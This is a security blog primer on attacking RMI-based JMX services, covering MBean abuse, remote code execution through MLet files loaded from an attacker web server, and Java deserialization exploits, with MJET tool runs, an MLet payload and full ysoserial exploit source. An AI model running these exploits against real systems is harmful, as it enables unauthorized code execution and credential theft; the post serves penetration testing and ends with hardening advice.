Attacking RMI based JMX services

An attack primer on how to hack into RMI based JMX services

TL:DR: In a previous post we described how Java RMI services can be exploited using various techniques, mainly Java Deserialization. While RMI is commonly no longer used for developing new applications, it is still the standard technology that is used to allow remote monitoring via JMX. Attack techniques against JMX services have been known since several years, however we regularly find insecure/exploitable JMX instances while conducting security assessments.

This article starts with a brief introduction to JMX and then describes the known attack techniques. Additionally, we will have a look on how to use Java Deserialization against JMX services.

Update (20.03.2023)
Since we published this blog post in 2019, JMX Exploitation has evolved. The methods described here still work, but it is also possible to get reliable remote code execution without an outbound connection. We highly recommend reading Markus Wulftange’s post “JMX Exploitation Revisited” on this topic, which covers the missing pieces.

What is JMX?

Wikipedia describes Java Management Extensions (JMX) as follows:

Java Management Extensions (JMX) is a Java technology that supplies tools for managing and monitoring applications, system objects, devices (such as printers) and service-oriented networks.*

JMX is often described as the “Java version” of SNMP (Simple Network Management Protocol). SNMP is mainly used to monitor network components like network switches or routers. Like SNMP, JMX is also used for monitoring Java based applications. The most common use case for JMX is monitoring the availability and performance of a Java application server from a central monitoring solution like Nagios, Icinga or Zabbix.

JMX also shares another similarity with SNMP: While most companies only use the monitoring capabilities, JMX is actually much more powerful. JMX allows the user not only to read values from the remote system, it can also be used to invoke methods on the system.

JMX fundamentals

MBeans

JMX allows you to manage resources as managed beans. A managed bean (MBean) is a Java Bean class that follows certain design rules of the JMX standard. An MBean can represent a device, an application, or any resource that needs to be managed over JMX. You can access these MBeans via JMX, query attributes and invoke Bean methods.

The JMX standard differs between various MBean types however, we will only deal with the standard MBeans here. To be a valid MBean, a Java class must:

  • Implement an interface
  • Provide a default constructor (without any arguments)
  • Follow certain naming conventions, for example implement getter/setter methods to read/write attributes

If we want to create our own MBean, we first need to define a interface. Here a minimal example from a “Hello world” MBean:

package de.mogwailabs.MBeans;

public interface HelloMBean {

    // getter and setter for the attribute "name"
    public String getName();
    public void setName(String newName);

    // Bean method "sayHello"
    public String sayHello();	
}

The next step is to provide a implementation for the defined interface. The name should always be the same as the Interface, without the MBean part.

package de.mogwailabs.MBeans;

public class Hello implements HelloMBean {

    private String name = "MOGWAI LABS";

    // getter/setter for the "name" attribute
    public String getName() { return this.name; }
    public void setName(String newName) { this.name = newName; }

    // Methods
    public String sayHello() { return "hello: " + name; }
}

MBean Server

A MBean server is a service that manages the MBeans of a system. Developers can register their MBeans in the server following a specific naming pattern. The MBean server will forward incoming messages to the registered MBeans. The service is also responsible to forward messages from MBeans to external components.

By default, every Java process has a MBean server service running, which we can access by using ManagementFactory.getPlatformMBeanServer();. The following example code “connects” to the MBean Server of the current process and prints out all registered MBeans:

package de.mogwailabs.MBeanClient;

import java.lang.management.ManagementFactory;
import javax.management.*;

public class MBeanClient {

	public static void main(String[] args) throws Exception {
		
        // Connect to the MBean server of the current Java process
        MBeanServer server = ManagementFactory.getPlatformMBeanServer();
        System.out.println( server.getMBeanCount() );

        // Print out each registered MBean
        for ( Object object : server.queryMBeans(new ObjectName("*:*"), null) ) {
           System.out.println( ((ObjectInstance)object).getObjectName() );
        }
    }
}

If we want to make a instance of our MBean callable over the MBean server, we need to register it with a ObjectName class. Every MBean requires a distinct name that follows an object name convention. The name is separated into a domain (commonly the package) and an object name. The Object name should contain a “type” property. If there can only be one instance of a given type in a given domain, there should not usually be any other key properties than type.

Examples:

com.sun.someapp:type=Whatsit,name=5
com.sun.appserv.Domain1:type=Whatever 

The following code gives an example how to register a MBean on the local MBean server.

package de.mogwailabs.MBeanExample;

import de.mogwailabs.MBeans.*;
import java.lang.management.ManagementFactory;
import javax.management.*;

public class MBeanExample {

	public static void main(String[] args) throws Exception {
		
		// Create a new MBean instance from Hello (HelloMBean interface)
		Hello mbean = new Hello();
		
		// Create an object name, 
		ObjectName mbeanName = new ObjectName("de.mogwailabs.MBeans:type=HelloMBean");
		
		// Connect to the MBean server of the current Java process
		MBeanServer server = ManagementFactory.getPlatformMBeanServer();
		server.registerMBean(mbean, mbeanName);
		
		// Keep the application running until user enters something
		System.out.println("Press any key to exit");
		System.in.read();	
	}
}

JConsole

The easiest way to access a MBean/JMX service is to use the “jconsole” tool which is part of the JDK. Once started, you can connect to a running Java process and inspect the registered MBeans in the MBean tab. It is also possible to get/set bean attributes or invoke methods like our “sayHello” method.

Calling a method through JMX, using the JConsole tool

JMX Connectors

Until now, we only connected to our own instance of the MBean server. If we want to connect to a remote instance that is running on another server, we have to use a JMX connector. A JMX connector is basically a client/server stub that provides access to a remote MBean server. This is done by following the classic RPC (Remote Procedure Call) approach, trying to hide the “remote” part from the developer, including the protocol that is used to communicate with the remote instance.

By default, Java provides a remote JMX connector that is based on Java RMI (Remote Method Invocation). You can enable JMX by adding the following arguments to the java call.

-Dcom.sun.management.jmxremote.port=2222 -Dcom.sun.management.jmxremote.authenticate=false -Dcom.sun.management.jmxremote.ssl=false 

Here an example for our MBean server (exported to a jar file):

java -Dcom.sun.management.jmxremote.port=2222 -Dcom.sun.management.jmxremote.authenticate=false -Dcom.sun.management.jmxremote.ssl=false -jar mbeanserver.jar 

If we now perform a port scan on the system, we can see that the TCP port 2222 actually hosts a RMI naming registry that exposes one object under the name “jmxrmi”. The actual RMI service can be accessed on the TCP port 34041. This port number gets randomly selected during the start. If you want to know more about Java RMI, you can have a look on our previous blog post.

nmap 192.168.71.128 -p 2222,34041 -sVC

Starting Nmap 7.60 ( https://nmap.org ) at 2019-04-08 20:02 CEST
Nmap scan report for rocksteady (192.168.71.128)
Host is up (0.00024s latency).

PORT      STATE SERVICE     VERSION
2222/tcp  open  java-rmi    Java RMI Registry
| rmi-dumpregistry: 
|   jmxrmi
|      implements javax.management.remote.rmi.RMIServer, 
|     extends
|       java.lang.reflect.Proxy
|       fields
|           Ljava/lang/reflect/InvocationHandler; h
|             java.rmi.server.RemoteObjectInvocationHandler
|             @127.0.1.1:34041
|             extends
|_              java.rmi.server.RemoteObject
34041/tcp open  rmiregistry Java RMI

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.95 seconds

Again, you can use JConsole to connect to this service. Instead of selecting a existing process, connect to the service using IP:PORT (in our example: 192.168.71.128:2222)

JMX Adaptors

A JMX adaptor is very similar to a JMX connector, but provides what a client “expects”, for example HTML or JSON data over HTTP. This is often required if the client is not written in Java and therefore can’t use Java RMI. In this case, the JMX adaptor acting as a bridge to the Java world. Using a JMX adopter has the disadvantage that you might not be able to invoke all possible methods that are provided by a MBean, for example if a required parameter used a class that can’t be serialized by the JMX adaptor. A well-known JMX adaptor is Jolokia. The Tomcat admin interface also provides a HTTP based JMX adaptor.

Attacking JMX instances

After we have a working JMX service running on RMI, we can go through the various ways how such a service might be attacked. Over time, various attack techniques have been discovered that are related to JMX over RMI, we will step through most of them one by one.

Abusing available MBeans

As shown in the previous examples, applications are able to register additional MBeans, which can then be invoked remotely. JMX is commonly used for managing applications, therefore the MBeans are often very powerful. The following screenshot shows the methods from the UserDatabase MBeans that are registered by a Tomcat application server. This MBean allows to inspect the configured Tomcat users/groups and even create new accounts. An attacker could abuse this MBean to disclosure the configured passwords or create a new administrator for the web-based Tomcat manager.

Accessing Tomcats UserDatabase MBean through JConsole

Tomcat further allows you to view all SessionIDs via JMX, which could be used to compromise a active web session.

Retrieving a Tomcat SessionID through JConsole

Unfortunately, these examples are not a generic attack pattern, and depend on the MBeans that were registered by the monitored/managed application.

Remote Code Execution via MLets

This attack technique has been first described in 2013 in the blog post “Exploiting JMX RMI” by Braden Thomas and still works in most environment if JMX authentication is not enabled. Braden took the time to read the Oracle documentation which says:

Furthermore, possible harm is not limited to the operations you define in your MBeans. A remote client could create a javax.management.loading.MLet MBean and use it to create new MBeans from arbitrary URLs, at least if there is no security manager. In other words, a rogue remote client could make your Java application execute arbitrary code.

Consequently, while disabling security might be acceptable for development, it is strongly recommended that you do not disable security for production systems.

The term “MLet” is a shortcut for management applet and allows you to “register one or several MBeans in the MBean server coming from a remote URL”. In a nutshell a MLET is a HTML-like file that can be provided over a web server. An example MLet file looks like this:

<html><mlet code="de.mogwailabs.MaliciousMLet" archive="mogwailabsmlet.jar" name="Mogwailabs:name=payload" codebase="http://attackerwebserver"></mlet></html>

The attacker can host such a MLet file and instruct the JMX service to load MBeans from the remote host. The attack involves the following steps:

  1. Starting a web server that hosts the MLet and a JAR file with the malicious MBeans
  2. Creating a instance of the MBean javax.management.loading.MLet on the target server, using JMX
  3. Invoking the “getMBeansFromURL” method of the MBean instance, passing the webserver URL as parameter. The JMX service will connect to the http server and parse the MLet file.
  4. The JMX service downloads and loades the JAR files that were referenced in the MLet file, making the malicious MBean available over JMX.
  5. The attacker finally invokes methods from the malicious MBean.

This sound quite complicated, however there are multiple tools/exploits that allow a reliable exploitation of this attack. You can use this Metasploit module or the “MJET” tool written by yours truly.

The following example shows the installation of a malicious managed bean with the help of MJET:

h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 install super_secret http://10.165.188.1:8000 8000

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Starting webserver at port 8000
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  1
[+] Loaded javax.management.loading.MLet
[+] Loading malicious MBean from http://10.165.188.1:8000
[+] Invoking: javax.management.loading.MLet.getMBeansFromURL
10.165.188.23 - - [26/Apr/2019 21:47:15] "GET / HTTP/1.1" 200 -
10.165.188.23 - - [26/Apr/2019 21:47:16] "GET /nztcftbg.jar HTTP/1.1" 200 -
[+] Successfully loaded MBeanMogwaiLabs:name=payload,id=1
[+] Changing default password...
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Successfully changed password

[+] Done
h0ng10@rocksteady ~/w/mjet>

After successful installation you can use the MBean to execute arbitrary commands. It is even possible to execute JavaScript code, using the JavaScript interpreter that is part of the JDK.

h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 command super_secret "ls -la"

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  4
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing command: ls -la
total 20
drwxr-xr-x  5 root    root    4096 Apr 26 11:12 .
drwxr-xr-x 33 root    root    4096 Apr 10 13:54 ..
lrwxrwxrwx  1 root    root      12 Aug 13  2018 conf -> /etc/tomcat8
drwxr-xr-x  2 tomcat8 tomcat8 4096 Aug 13  2018 lib
lrwxrwxrwx  1 root    root      17 Aug 13  2018 logs -> ../../log/tomcat8
drwxr-xr-x  2 root    root    4096 Apr 26 11:12 policy
drwxrwxr-x  3 tomcat8 tomcat8 4096 Apr 10 13:54 webapps
lrwxrwxrwx  1 root    root      19 Aug 13  2018 work -> ../../cache/tomcat8


[+] Done

This approach works very reliable as long as the following requirements are met:

  • The JMX server can connect to a http service that is controlled by the attacker. This is required to load the malicious MBean on the target server.
  • JMX authentication is not enabled

Enabling authentication does not only protect the JMX service via credentials, it also has the side effect that the invocation of “getMBeansFromURL is no longer possible. Here the responsible code snippet from the MBeanServerAccessController class

 final String propName = "jmx.remote.x.mlet.allow.getMBeansFromURL";
            GetPropertyAction propAction = new GetPropertyAction(propName);
            String propValue = AccessController.doPrivileged(propAction);
            boolean allowGetMBeansFromURL = "true".equalsIgnoreCase(propValue);
            if (!allowGetMBeansFromURL) {
                throw new SecurityException("Access denied! MLet method " +
                        "getMBeansFromURL cannot be invoked unless a " +
                        "security manager is installed or the system property " +
                        "-Djmx.remote.x.mlet.allow.getMBeansFromURL=true " +
                        "is specified.");
            }
        ...

Therefore, this technique cannot be used against JMX services with enabled authentication, even if the attacker has valid credentials. To be still exploitable the admin must configure a very weak security manager policy or explicitly allow the loading of remote Mlets via the property “jmx.remote.x.mlet.allow.getMBeansFromURL” which is very unlikely.

Because most administrators/developers see JMX only as a monitoring tool, they don’t know about the possibility to load MLets remotely. Additionally, most JMX configuration examples first show how to configure JMX without authentication, therefore seeing JMX services with this insecure configuration is very common in the real world.

Deserialization

JMX over RMI is based on RMI which itself is based on native Java serialization, making it a perfect target for deserialization attacks. As all Java deserialization attacks, this requires that the classloader of the monitored application loaded a gadget that can be exploited. For our examples, we assume that we have a target which has the Apache CommonsCollections3.1 library in its class path.

CVE-2016-3427

CVE-2016-3427 was reported by Mark Thomas who noticed that the “JMXConnectorFactory.connect” method of the JMX service actually accepts an Map of objects instead of just two strings (username/password). This makes it possible to send a Map that contains a malicious object that will be deserialized on the server side.

This vulnerability has the advantage that it even works against password protected JMX instances. Unlike the MLet attack, exploitation also does not require that the server can connect to a http service. However, the JMX server must have a valid Java Deserialization gadget in its class loader.

You can find a DoS-PoC for CVE-2016-3427 in the Hackfest 2016 repo from Pierre Ernst. This vulnerability has been fixed in Java 8 update 77.

Attacking the RMI protocol

As JMX RMI is based on RMI, the attacker could also try to exploit deserialization vulnerabilities on the RMI level. This can be done by using the following two exploits from Moritz Bechler which are part of the Ysoserial toolkit as described in our previous blog post.

  • RMIRegistryExploit
    The RMI registry exploit works by sending a malicious serialized object as parameter to the “bind” method of the Naming registry.

  • JRMPClient
    The JRMP Client exploit targets the remote DGC (Distributed Garbage Collection) which is implemented by every RMI listener. This can be run against any RMI listener, not just the RMI naming registry.

Both exploits work very reliable if a valid gadget chain exists on the target. The RMIRegistryExploit has the advantage that it prints the exception that gets returned by the server. This can be used to verify if the target has the used gadget in its classpath or not.

When introducing JEP-290, Oracle added a white list based look ahead deserialization to RMI which blocks both exploits. These changes were added in the following JDK versions:

  • Java™ SE Development Kit 8, Update 121 (JDK 8u121)
  • Java™ SE Development Kit 7, Update 131 (JDK 7u131)
  • Java™ SE Development Kit 6, Update 141 (JDK 6u141)

Deserialization on the JMX/MBean level

While it is no longer possible to exploit deserialization on RMI directly, the attacker can still try to exploit deserialization vulnerabilities on the application level. This is very similar to the attack described in our previous blog post about RMI services but actually easier to implement.

The basic idea is to invoke a MBean method that accepts a String (or any other class) as argument. As we already saw in the previous examples, every Java process already provides several MBeans by default. A good candidate is the “getLoggerLevel” method which accepts a String as parameter.

Calling the getLogLevel Method in the java.util.logging MBean through JConsole

Instead of passing a String, the attacker just needs to pass a malicious object as argument. JMX makes this quite easy as the MBeanServerConnection.invoke method that is used to call the remote MBean method requires to pass two arrays, one with the arguments and one with the argument signatures.

    ObjectName mbeanName = new ObjectName("java.util.logging:type=Logging");
            
    // Create operation's parameter and signature arrays      
    Object  opParams[] = {
        "MOGWAI_LABS",
    };
                
    String  opSig[] = { 
        String.class.getName()
    };

    // Invoke operation
    mbeanServerConnection.invoke(mbeanName, "getLoggerLevel", opParams, opSig);

Here a full working example, which I committed to the ysoserial project

package ysoserial.exploit;

import javax.management.MBeanServerConnection;
import javax.management.ObjectName;
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;

import ysoserial.payloads.ObjectPayload.Utils;

/*
 * Utility program for exploiting RMI based JMX services running with required gadgets available in their ClassLoader.
 * Attempts to exploit the service by invoking a method on a exposed MBean, passing the payload as argument.
 * 
 */
public class JMXInvokeMBean {

	public static void main(String[] args) throws Exception {
	
		if ( args.length < 4 ) {
			System.err.println(JMXInvokeMBean.class.getName() + " <host> <port> <payload_type> <payload_arg>");
			System.exit(-1);
		}
    	
		JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + args[0] + ":" + args[1] + "/jmxrmi");
        
		JMXConnector jmxConnector = JMXConnectorFactory.connect(url);
		MBeanServerConnection mbeanServerConnection = jmxConnector.getMBeanServerConnection();

		// create the payload
		Object payloadObject = Utils.makePayloadObject(args[2], args[3]);   
		ObjectName mbeanName = new ObjectName("java.util.logging:type=Logging");

		mbeanServerConnection.invoke(mbeanName, "getLoggerLevel", new Object[]{payloadObject}, new String[]{String.class.getCanonicalName()});

		//close the connection
		jmxConnector.close();
    }
}

Thanks to our new team member Sebastian Kindler, this attack is also supported by the latest release of MJET. It has the advantage that it works with authentication enabled (if valid credentials are known). The service still needs to have a exploitable gadget in his class path but unlike the MLET based attack, no outgoing connection from the JMX server to an attacker controlled http service is required.

h0ng10@rocksteady ~/w/mjet> jython mjet.py --jmxrole admin --jmxpassword adminpassword 10.165.188.23 2222 deserialize CommonsCollections6 "touch /tmp/xxx"

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Added ysoserial API capacities
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Using credentials: admin / adminpassword
[+] Connected: rmi://10.165.188.1 admin 22
[+] Loaded sun.management.ManagementFactoryHelper$PlatformLoggingImpl
[+] Passing ysoserial object as parameter to getLoggerLevel(String loglevel)
[+] Got an argument type mismatch exception - this is expected

[+] Done

This attack even works if you only have a readOnly user as the deserialization takes place before the actual permission check

h0ng10@rocksteady ~/w/mjet> jython mjet.py --jmxrole user --jmxpassword userpassword 10.165.188.23 2222 deserialize CommonsCollections6 "touch /tmp/xxx"

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Added ysoserial API capacities
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Using credentials: user / userpassword
[+] Connected: rmi://10.165.188.1 user 21
[+] Loaded sun.management.ManagementFactoryHelper$PlatformLoggingImpl
[+] Passing ysoserial object as parameter to getLoggerLevel(String loglevel)
[+] Got an access denied exception - this is expected

[+] Done

Summary

As shown, protecting a JMX service by enabling authentication is important, otherwise it might become an easy target for attackers. The JMX standard already provides this functionallity including support for TLS encrypted connections. A good description how to protect these JMX environments can be found here.

Besides enabling authentication, you should also make sure that the JDK environment is up to date as an attacker might otherwise try to exploit the underlying RMI implementation using Java deserialization which can be done even when authentication is enabled.

The attacker might still somehow gained access to valid credentials for the JMX service. In this case, he could still try to exploit Java Deserialization, even if he only has a “readOnly” account. This can be prevented by implementing a global JEP290 policy, which we will cover in the next post.


Thanks to Mike Kenneally on Unsplash for the title picture.